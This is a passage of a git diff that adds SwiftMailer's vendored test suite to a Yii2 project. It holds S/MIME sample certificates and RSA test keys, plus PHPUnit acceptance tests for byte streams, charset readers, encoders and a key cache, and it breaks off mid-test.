+mtwSJe+Ow1udLX4KJkAX8sGVFJ5P5q4s2nS9vLkkj7X6YRQscbyJO9L7e1TksRqL +DLxZwiko6gUhp4/bIs1wDj5tzkQBi4qXviRq3i7A9b2d0QIDAQABMA0GCSqGSIb3 +DQEBBQUAA4IBAQAj8iARhPB2DA3YfT5mJJrgU156Sm0Z3mekAECsr+VqFZtU/9Dz +pPFYEf0hg61cjvwhLtOmaTB+50hu1KNNlu8QlxAfPJqNxtH85W0CYiZHJwW9eSTr +z1swaHpRHLDUgo3oAXdh5syMbdl0MWos0Z14WP5yYu4IwJXs+j2JRW70BICyrNjm +d+AjCzoYjKMdJkSj4uxQEOuW2/5veAoDyU+kHDdfT7SmbyoKu+Pw4Xg/XDuKoWYg +w5/sRiw5vxsmOr9+anspDHdP9rUe1JEfwAJqZB3fwdqEyxu54Xw/GedG4wZBEJf0 +ZcS1eh31emcjYUHQa1IA93jcFSmXzJ+ftJrY +-----END CERTIFICATE----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt2.key b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt2.key new file mode 100644 index 00000000..e322a8f4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt2.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEAw4AoYVYss2sa1BWJAJpK6gVemjXrp1mVXVpb1/z6SH15AGsp +3kiNXsMpgvsdofbqC/5HXrw2G8gWqo+uh6GuK67+Tvp7tO2aD4+8CZzUK1cffj7P +bx95DUPwXckv79PT5ZcuyeFaVo92aug11+gS/P8n0WXSlzZxNuZ1f3G2r/IgwfNK +ZlarEf1Ih781L2SwmyveW/dtsV2pdrd4IZwsV5SOF2zBFIXSuhPN0c+mmtwSJe+O +w1udLX4KJkAX8sGVFJ5P5q4s2nS9vLkkj7X6YRQscbyJO9L7e1TksRqLDLxZwiko +6gUhp4/bIs1wDj5tzkQBi4qXviRq3i7A9b2d0QIDAQABAoIBAH8RvK1PmqxfkEeL +W8oVf13OcafgJjRW6NuNkKa5mmAlldFs1gDRvXl7dm7ZE3CjkYqMEw2DXdP+4KSp +0TH9J7zi+A6ThnaZ/QniTcEdu1YUQbcH0kIS/dZec0wyKUNDtrXC5zl2jQY4Jyrj +laOpBzaEDfhvq0p3q2yYrIRSgACpSEVEsfPoHrxtlLhfMkVNe8P0nkQkzdwou5MQ +MZKV4JUopLHLgPH6IXQCqA1wzlU32yZ86w88GFcBVLkwlLJCKbuAo7yxMCD+nzvA +xm5NuF1kzpP0gk+kZRXF+rFEV4av/2kSS+n8IeUBQZrxovLBuQHVDvJXoqcEjmlh +ZUltznUCgYEA4inwieePfb7kh7L/ma5OLLn+uCNwzVw9LayzXT1dyPravOnkHl6h +MgaoTspqDyU8k8pStedRrr5dVYbseni/A4WSMGvi4innqSXBQGp64TyeJy/e+LrS +ypSWQ6RSJkCxI5t8s4mOpR7FMcdE34I5qeA4G5RS1HIacn7Hxc7uXtcCgYEA3Uqn +E7EDfNfYdZm6AikvE6x64oihWI0x47rlkLu6lf6ihiF1dbfaEN+IAaIxQ/unGYwU +130F0TUwarXnVkeBIRlij4fXhExyd7USSQH1VpqmIqDwsS2ojrzQVMo5UcH+A22G +bbHPtwJNmw8a7yzTPWo2/vnjgV2OaXEQ9vCVG5cCgYEAu1kEoihJDGBijSqxY4wp +xBE7OSxamDNtlnV2i6l3FDMBmfaieqnnHDq5l7NDklJFUSQLyhXZ60hUprHDGV0G +1pMCW8wzQSh3d/4HjSXnrsd5N3sHWMHiNeBKbbQkPP3f/2AhN9SebpgDwE2S9xe4 +TsmnkOkYiFYRJIFzWaAmhDcCgYEAwxRCgZt0xaPKULG6RpljxOYyVm24PsYKCwYB +xjuYWw5k2/W3BJWVCXblAPuojpPUVTMmVGkErc9D5W6Ch471iOZF+t334cs6xci8 +W9v8GeKvPqu+Q5NKmrpctcKoESkA8qik7yLnSCAhpeYFCn/roKJ35QMJyktddhqU +p/yilfUCgYBxZ6YmFjYH6l5SxQdcfa5JQ2To8lZCfRJwB65EyWj4pKH4TaWFS7vb +50WOGTBwJgyhTKLCO3lOmXIUyIwC+OO9xzaeRCBjqEhpup/Ih3MsfMEd6BZRVK5E +IxtmIWba5HQ52k8FKHeRrRB7PSVSADUN2pUFkLudH+j/01kSZyJoLA== +-----END RSA PRIVATE KEY----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/sign.crt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/sign.crt new file mode 100644 index 00000000..15fd65d2 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/sign.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDFjCCAf4CCQDULaNM+Q+g3DANBgkqhkiG9w0BAQUFADBMMRcwFQYDVQQDDA5T +d2lmdG1haWxlciBDQTEUMBIGA1UECgwLU3dpZnRtYWlsZXIxDjAMBgNVBAcMBVBh +cmlzMQswCQYDVQQGEwJGUjAeFw0xMzExMjcwODM5MTBaFw0xNzExMjYwODM5MTBa +ME4xGTAXBgNVBAMMEFN3aWZ0bWFpbGVyLVVzZXIxFDASBgNVBAoMC1N3aWZ0bWFp +bGVyMQ4wDAYDVQQHDAVQYXJpczELMAkGA1UEBhMCRlIwggEiMA0GCSqGSIb3DQEB +AQUAA4IBDwAwggEKAoIBAQCTe8ZouyjVGgqlljhaswYqLj7icMoHq+Qg13CE+zJg +tl2/UzyPhAd3WWOIvlQ0lu+E/n0bXrS6+q28DrQ3UgJ9BskzzLz15qUO12b92AvG +vLJ+9kKuiM5KXDljOAsXc7/A9UUGwEFA1D0mkeMmkHuiQavAMkzBLha22hGpg/hz +VbE6W9MGna0szd8yh38IY1M5uR+OZ0dG3KbVZb7H3N0OLOP8j8n+4YtAGAW+Onz/ +2CGPfZ1kaDMvY/WTZwyGeA4FwCPy1D8tfeswqKnWDB9Sfl8hns5VxnoJ3dqKQHeX +iC4OMfQ0U4CcuM5sVYJZRNNwP7/TeUh3HegnOnuZ1hy9AgMBAAEwDQYJKoZIhvcN +AQEFBQADggEBAAEPjGt98GIK6ecAEat52aG+8UP7TuZaxoH3cbZdhFTafrP8187F +Rk5G3LCPTeA/QIzbHppA4fPAiS07OVSwVCknpTJbtKKn0gmtTZxThacFHF2NlzTH +XxM5bIbkK3jzIF+WattyTSj34UHHfaNAmvmS7Jyq6MhjSDbcQ+/dZ9eo2tF/AmrC ++MBhyH8aUYwKhTOQQh8yC11niziHhGO99FQ4tpuD9AKlun5snHq4uK9AOFe8VhoR +q2CqX5g5v8OAtdlvzhp50IqD4BNOP+JrUxjGLHDG76BZZIK2Ai1eBz+GhRlIQru/ +8EhQzd94mdFEPblGbmuD2QXWLFFKLiYOwOc= +-----END CERTIFICATE----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/sign.key b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/sign.key new file mode 100644 index 00000000..b3d3c535 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/sign.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAk3vGaLso1RoKpZY4WrMGKi4+4nDKB6vkINdwhPsyYLZdv1M8 +j4QHd1ljiL5UNJbvhP59G160uvqtvA60N1ICfQbJM8y89ealDtdm/dgLxryyfvZC +rojOSlw5YzgLF3O/wPVFBsBBQNQ9JpHjJpB7okGrwDJMwS4WttoRqYP4c1WxOlvT +Bp2tLM3fMod/CGNTObkfjmdHRtym1WW+x9zdDizj/I/J/uGLQBgFvjp8/9ghj32d +ZGgzL2P1k2cMhngOBcAj8tQ/LX3rMKip1gwfUn5fIZ7OVcZ6Cd3aikB3l4guDjH0 +NFOAnLjObFWCWUTTcD+/03lIdx3oJzp7mdYcvQIDAQABAoIBAH2vrw/T6GFrlwU0 +twP8q1VJIghCDLpq77hZQafilzU6VTxWyDaaUu6QPDXt1b8Xnjnd02p+1FDAj0zD +zyuR9VLtdIxzf9mj3KiAQ2IzOx3787YlUgCB0CQo4jM/MJyk5RahL1kogLOp7A8x +pr5XxTUq+B6L/0Nmbq8XupOXRyWp53amZ5N8sgWDv4oKh9fqgAhxbSG6KUkTmhYs +DLinWg86Q28pSn+eivf4dehR56YwtTBVguXW3WKO70+GW1RotSrS6e6SSxfKYksZ +a7/J1hCmJkEE3+4C8BpcI0MelgaK66ocN0pOqDF9ByxphARqyD7tYCfoS2P8gi81 +XoiZJaECgYEAwqx4AnDX63AANsfKuKVsEQfMSAG47SnKOVwHB7prTAgchTRcDph1 +EVOPtJ+4ssanosXzLcN/dCRlvqLEqnKYAOizy3C56CyRguCpO1AGbRpJjRmHTRgA +w8iArhM07HgJ3XLFn99V/0bsPCMxW8dje1ZMjKjoQtDrXRQMtWaVY+UCgYEAwfGi +f0If6z7wJj9gQUkGimWDAg/bxDkvEeh3nSD/PQyNiW0XDclcb3roNPQsal2ZoMwt +f1bwkclw7yUCIZBvXWEkZapjKCdseTp6nglScxr8GAzfN9p5KQl+OS3GzC6xZf6C +BsZQ5ucsHTHsCAi3WbwGK829z9c7x0qRwgwu9/kCgYEAsqwEwYi8Q/RZ3e1lXC9H +jiHwFi6ugc2XMyoJscghbnkLZB54V1UKLUraXFcz97FobnbsCJajxf8Z+uv9QMtI +Q51QV2ow1q0BKHP2HuAF5eD4nK5Phix/lzHRGPO74UUTGNKcG22pylBXxaIvTSMl +ZTABth/YfGqvepBKUbvDZRkCgYB5ykbUCW9H6D8glZ3ZgYU09ag+bD0CzTIs2cH7 +j1QZPz/GdBYNF00PyKv3TPpzVRH7cxyDIdJyioB7/M6Iy03T4wPbQBOCjLdGrZ2A +jrQTCngSlkq6pVx+k7KLL57ua8gFF70JihIV3kfKkaX6KZcSJ8vsSAgRc8TbUo2T +wNjh6QKBgDyxw4bG2ULs+LVaHcnp7nizLgRGXJsCkDICjla6y0eCgAnG8fSt8CcG +s5DIfJeVs/NXe/NVNuVrfwsUx0gBOirtFwQStvi5wJnY/maGAyjmgafisNFgAroT +aM5f+wyGPQeGCs7bj7JWY7Nx9lkyuUV7DdKBTZNMOe51K3+PTEL3 +-----END RSA PRIVATE KEY----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance.conf.php.default b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance.conf.php.default new file mode 100644 index 00000000..68902d84 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance.conf.php.default @@ -0,0 +1,44 @@ +markTestSkipped( + 'Cannot run test without a writable directory to use ('. + 'define SWIFT_TMP_DIR in tests/config.php if you wish to run this test)' + ); + } + + $this->_tmpDir = SWIFT_TMP_DIR; + $this->_testFile = $this->_tmpDir.'/swift-test-file'.__CLASS__; + file_put_contents($this->_testFile, 'abcdefghijklm'); + } + + public function tearDown() + { + unlink($this->_testFile); + } + + public function testFileDataCanBeRead() + { + $file = $this->_createFileStream($this->_testFile); + $str = ''; + while (false !== $bytes = $file->read(8192)) { + $str .= $bytes; + } + $this->assertEquals('abcdefghijklm', $str); + } + + public function testFileDataCanBeReadSequentially() + { + $file = $this->_createFileStream($this->_testFile); + $this->assertEquals('abcde', $file->read(5)); + $this->assertEquals('fghijklm', $file->read(8)); + $this->assertFalse($file->read(1)); + } + + public function testFilenameIsReturned() + { + $file = $this->_createFileStream($this->_testFile); + $this->assertEquals($this->_testFile, $file->getPath()); + } + + public function testFileCanBeWrittenTo() + { + $file = $this->_createFileStream( + $this->_testFile, true + ); + $file->write('foobar'); + $this->assertEquals('foobar', $file->read(8192)); + } + + public function testReadingFromThenWritingToFile() + { + $file = $this->_createFileStream( + $this->_testFile, true + ); + $file->write('foobar'); + $this->assertEquals('foobar', $file->read(8192)); + $file->write('zipbutton'); + $this->assertEquals('zipbutton', $file->read(8192)); + } + + public function testWritingToFileWithCanonicalization() + { + $file = $this->_createFileStream( + $this->_testFile, true + ); + $file->addFilter($this->_createFilter(array("\r\n", "\r"), "\n"), 'allToLF'); + $file->write("foo\r\nbar\r"); + $file->write("\nzip\r\ntest\r"); + $file->flushBuffers(); + $this->assertEquals("foo\nbar\nzip\ntest\n", file_get_contents($this->_testFile)); + } + + public function testBindingOtherStreamsMirrorsWriteOperations() + { + $file = $this->_createFileStream( + $this->_testFile, true + ); + $is1 = $this->_createMockInputStream(); + $is2 = $this->_createMockInputStream(); + + $is1->expects($this->at(0)) + ->method('write') + ->with('x'); + $is1->expects($this->at(1)) + ->method('write') + ->with('y'); + $is2->expects($this->at(0)) + ->method('write') + ->with('x'); + $is2->expects($this->at(1)) + ->method('write') + ->with('y'); + + $file->bind($is1); + $file->bind($is2); + + $file->write('x'); + $file->write('y'); + } + + public function testBindingOtherStreamsMirrorsFlushOperations() + { + $file = $this->_createFileStream( + $this->_testFile, true + ); + $is1 = $this->_createMockInputStream(); + $is2 = $this->_createMockInputStream(); + + $is1->expects($this->once()) + ->method('flushBuffers'); + $is2->expects($this->once()) + ->method('flushBuffers'); + + $file->bind($is1); + $file->bind($is2); + + $file->flushBuffers(); + } + + public function testUnbindingStreamPreventsFurtherWrites() + { + $file = $this->_createFileStream( + $this->_testFile, true + ); + $is1 = $this->_createMockInputStream(); + $is2 = $this->_createMockInputStream(); + + $is1->expects($this->at(0)) + ->method('write') + ->with('x'); + $is1->expects($this->at(1)) + ->method('write') + ->with('y'); + $is2->expects($this->once()) + ->method('write') + ->with('x'); + + $file->bind($is1); + $file->bind($is2); + + $file->write('x'); + + $file->unbind($is2); + + $file->write('y'); + } + + // -- Creation methods + + private function _createFilter($search, $replace) + { + return new Swift_StreamFilters_StringReplacementFilter($search, $replace); + } + + private function _createMockInputStream() + { + return $this->getMock('Swift_InputByteStream'); + } + + private function _createFileStream($file, $writable = false) + { + return new Swift_ByteStream_FileByteStream($file, $writable); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/CharacterReaderFactory/SimpleCharacterReaderFactoryAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/CharacterReaderFactory/SimpleCharacterReaderFactoryAcceptanceTest.php new file mode 100644 index 00000000..9853e88f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/CharacterReaderFactory/SimpleCharacterReaderFactoryAcceptanceTest.php @@ -0,0 +1,179 @@ +_factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + } + + public function testCreatingUtf8Reader() + { + foreach (array('utf8', 'utf-8', 'UTF-8', 'UTF8') as $utf8) { + $reader = $this->_factory->getReaderFor($utf8); + $this->assertInstanceof($this->_prefix.'Utf8Reader', $reader); + } + } + + public function testCreatingIso8859XReaders() + { + $charsets = array(); + foreach (range(1, 16) as $number) { + foreach (array('iso', 'iec') as $body) { + $charsets[] = $body.'-8859-'.$number; + $charsets[] = $body.'8859-'.$number; + $charsets[] = strtoupper($body).'-8859-'.$number; + $charsets[] = strtoupper($body).'8859-'.$number; + } + } + + foreach ($charsets as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingWindows125XReaders() + { + $charsets = array(); + foreach (range(0, 8) as $number) { + $charsets[] = 'windows-125'.$number; + $charsets[] = 'windows125'.$number; + $charsets[] = 'WINDOWS-125'.$number; + $charsets[] = 'WINDOWS125'.$number; + } + + foreach ($charsets as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingCodePageReaders() + { + $charsets = array(); + foreach (range(0, 8) as $number) { + $charsets[] = 'cp-125'.$number; + $charsets[] = 'cp125'.$number; + $charsets[] = 'CP-125'.$number; + $charsets[] = 'CP125'.$number; + } + + foreach (array(437, 737, 850, 855, 857, 858, 860, + 861, 863, 865, 866, 869,) as $number) { + $charsets[] = 'cp-'.$number; + $charsets[] = 'cp'.$number; + $charsets[] = 'CP-'.$number; + $charsets[] = 'CP'.$number; + } + + foreach ($charsets as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingAnsiReader() + { + foreach (array('ansi', 'ANSI') as $ansi) { + $reader = $this->_factory->getReaderFor($ansi); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingMacintoshReader() + { + foreach (array('macintosh', 'MACINTOSH') as $mac) { + $reader = $this->_factory->getReaderFor($mac); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingKOIReaders() + { + $charsets = array(); + foreach (array('7', '8-r', '8-u', '8u', '8r') as $end) { + $charsets[] = 'koi-'.$end; + $charsets[] = 'koi'.$end; + $charsets[] = 'KOI-'.$end; + $charsets[] = 'KOI'.$end; + } + + foreach ($charsets as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingIsciiReaders() + { + foreach (array('iscii', 'ISCII', 'viscii', 'VISCII') as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingMIKReader() + { + foreach (array('mik', 'MIK') as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingCorkReader() + { + foreach (array('cork', 'CORK', 't1', 'T1') as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(1, $reader->getInitialByteSize()); + } + } + + public function testCreatingUcs2Reader() + { + foreach (array('ucs-2', 'UCS-2', 'ucs2', 'UCS2') as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(2, $reader->getInitialByteSize()); + } + } + + public function testCreatingUtf16Reader() + { + foreach (array('utf-16', 'UTF-16', 'utf16', 'UTF16') as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(2, $reader->getInitialByteSize()); + } + } + + public function testCreatingUcs4Reader() + { + foreach (array('ucs-4', 'UCS-4', 'ucs4', 'UCS4') as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(4, $reader->getInitialByteSize()); + } + } + + public function testCreatingUtf32Reader() + { + foreach (array('utf-32', 'UTF-32', 'utf32', 'UTF32') as $charset) { + $reader = $this->_factory->getReaderFor($charset); + $this->assertInstanceof($this->_prefix.'GenericFixedWidthReader', $reader); + $this->assertEquals(4, $reader->getInitialByteSize()); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/DependencyContainerAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/DependencyContainerAcceptanceTest.php new file mode 100644 index 00000000..8caf6f54 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/DependencyContainerAcceptanceTest.php @@ -0,0 +1,20 @@ +listItems() as $itemName) { + try { + $di->lookup($itemName); + } catch (Swift_DependencyException $e) { + $this->fail($e->getMessage()); + } + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/EmbeddedFileAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/EmbeddedFileAcceptanceTest.php new file mode 100644 index 00000000..fc5a8147 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/EmbeddedFileAcceptanceTest.php @@ -0,0 +1,12 @@ +_samplesDir = realpath(__DIR__.'/../../../_samples/charsets'); + $this->_encoder = new Swift_Encoder_Base64Encoder(); + } + + public function testEncodingAndDecodingSamples() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + $encodedText = $this->_encoder->encodeString($text); + + $this->assertEquals( + base64_decode($encodedText), $text, + '%s: Encoded string should decode back to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Encoder/QpEncoderAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Encoder/QpEncoderAcceptanceTest.php new file mode 100644 index 00000000..736dccbe --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Encoder/QpEncoderAcceptanceTest.php @@ -0,0 +1,50 @@ +_samplesDir = realpath(__DIR__.'/../../../_samples/charsets'); + $this->_factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + } + + public function testEncodingAndDecodingSamples() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $encoding = $encodingDir; + $charStream = new Swift_CharacterStream_ArrayCharacterStream( + $this->_factory, $encoding); + $encoder = new Swift_Encoder_QpEncoder($charStream); + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + $encodedText = $encoder->encodeString($text); + + $this->assertEquals( + quoted_printable_decode($encodedText), $text, + '%s: Encoded string should decode back to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Encoder/Rfc2231EncoderAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Encoder/Rfc2231EncoderAcceptanceTest.php new file mode 100644 index 00000000..043ddf8c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Encoder/Rfc2231EncoderAcceptanceTest.php @@ -0,0 +1,50 @@ +_samplesDir = realpath(__DIR__.'/../../../_samples/charsets'); + $this->_factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + } + + public function testEncodingAndDecodingSamples() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $encoding = $encodingDir; + $charStream = new Swift_CharacterStream_ArrayCharacterStream( + $this->_factory, $encoding); + $encoder = new Swift_Encoder_Rfc2231Encoder($charStream); + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + $encodedText = $encoder->encodeString($text); + + $this->assertEquals( + urldecode(implode('', explode("\r\n", $encodedText))), $text, + '%s: Encoded string should decode back to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/EncodingAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/EncodingAcceptanceTest.php new file mode 100644 index 00000000..6a4d05d3 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/EncodingAcceptanceTest.php @@ -0,0 +1,30 @@ +assertEquals('7bit', $encoder->getName()); + } + + public function testGet8BitEncodingReturns8BitEncoder() + { + $encoder = Swift_Encoding::get8BitEncoding(); + $this->assertEquals('8bit', $encoder->getName()); + } + + public function testGetQpEncodingReturnsQpEncoder() + { + $encoder = Swift_Encoding::getQpEncoding(); + $this->assertEquals('quoted-printable', $encoder->getName()); + } + + public function testGetBase64EncodingReturnsBase64Encoder() + { + $encoder = Swift_Encoding::getBase64Encoding(); + $this->assertEquals('base64', $encoder->getName()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/KeyCache/ArrayKeyCacheAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/KeyCache/ArrayKeyCacheAcceptanceTest.php new file mode 100644 index 00000000..6b06e2ee --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/KeyCache/ArrayKeyCacheAcceptanceTest.php @@ -0,0 +1,173 @@ +_cache = new Swift_KeyCache_ArrayKeyCache( + new Swift_KeyCache_SimpleKeyCacheInputStream() + ); + } + + public function testStringDataCanBeSetAndFetched() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('test', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testStringDataCanBeOverwritten() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'foo', 'whatever', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('whatever', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testStringDataCanBeAppended() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'foo', 'ing', Swift_KeyCache::MODE_APPEND + ); + $this->assertEquals('testing', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testHasKeyReturnValue() + { + $this->assertFalse($this->_cache->hasKey($this->_key1, 'foo')); + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->assertTrue($this->_cache->hasKey($this->_key1, 'foo')); + } + + public function testNsKeyIsWellPartitioned() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key2, 'foo', 'ing', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('test', $this->_cache->getString($this->_key1, 'foo')); + $this->assertEquals('ing', $this->_cache->getString($this->_key2, 'foo')); + } + + public function testItemKeyIsWellPartitioned() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'bar', 'ing', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('test', $this->_cache->getString($this->_key1, 'foo')); + $this->assertEquals('ing', $this->_cache->getString($this->_key1, 'bar')); + } + + public function testByteStreamCanBeImported() + { + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write('abcdef'); + + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os, Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('abcdef', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testByteStreamCanBeAppended() + { + $os1 = new Swift_ByteStream_ArrayByteStream(); + $os1->write('abcdef'); + + $os2 = new Swift_ByteStream_ArrayByteStream(); + $os2->write('xyzuvw'); + + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os1, Swift_KeyCache::MODE_APPEND + ); + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os2, Swift_KeyCache::MODE_APPEND + ); + + $this->assertEquals('abcdefxyzuvw', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testByteStreamAndStringCanBeAppended() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_APPEND + ); + + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write('abcdef'); + + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os, Swift_KeyCache::MODE_APPEND + ); + $this->assertEquals('testabcdef', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testDataCanBeExportedToByteStream() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + + $is = new Swift_ByteStream_ArrayByteStream(); + + $this->_cache->exportToByteStream($this->_key1, 'foo', $is); + + $string = ''; + while (false !== $bytes = $is->read(8192)) { + $string .= $bytes; + } + + $this->assertEquals('test', $string); + } + + public function testKeyCanBeCleared() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + 